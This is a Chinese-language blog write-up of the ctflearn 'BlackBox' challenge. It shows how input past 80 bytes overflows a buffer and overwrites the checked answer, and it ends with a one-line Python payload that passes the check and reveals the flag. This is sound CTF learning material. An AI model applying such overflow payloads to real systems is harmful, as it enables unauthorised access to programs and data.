BlackBox

发布日期:2019年02月10日 类别:misc 题目来源:ctflearn.com 题目链接:https://ctflearn.com/problems/393 (需要注册登录)

登录到服务器后,看一下目录,发现既没有源代码,二进制程序也没有读取的权限,只有执行权限:

total 36
drwxr-xr-x  2 root root         4096 Oct  9  2017 .
drwxr-xr-x 12 root root         4096 Oct 24 11:46 ..
-r--r--r--  1 root root          220 Aug 31  2015 .bash_logout
-r--r--r--  1 root root         3771 Aug 31  2015 .bashrc
---x--s--x  1 root blackbox_pwn 8936 Jan 31 17:16 blackbox
-r--r--r--  1 root root            0 Sep 18  2017 .cloud-locale-test.skip
-r--r-----  1 root blackbox_pwn   33 Oct  9  2017 flag.txt
-r--r--r--  1 root root          655 May 16  2017 .profile
点击此处显示 Writeup
点击此处隐藏 Writeup

运行一下 blackbox,程序要求输入 1 + 1 等于几。尝试输入 2:

blackbox@ubuntu-512mb-nyc3-01:~$ ./blackbox
What is 1 + 1 = 2
No dummy... 1 + 1 != 0...

随后发现不论输入什么数,程序都只输出 No dummy... 1 + 1 != 0...。鉴于没什么可以做的,只能尝试把输入的字符串变长。直到字符串长度超过 80 个字节后,程序的输出发生了变化:

blackbox@ubuntu-512mb-nyc3-01:~$ ./blackbox
What is 1 + 1 = 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111
No dummy... 1 + 1 != 825307441...

计算器转换一下 825307441,发现正好为 0x31313131,即我们的字符串溢出覆盖了待检查的结果。慢慢尝试缩短字符串,发现从 第 81 个字节开始就会覆盖答案。因此执行:

python -c "print '11111111111111111111111111111111111111111111111111111111111111111111111111111111\x02\x00\x00\x00'" | ./blackbox

就可以得到 flag 了。

dontpan1c 的 CTF 笔记
南阳一出即相,淮阴一出即将。

知识共享许可协议

本站所有作品均采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

本站不包含明令禁止公开解题过程的题目。

本站由 Jekyll 强力驱动。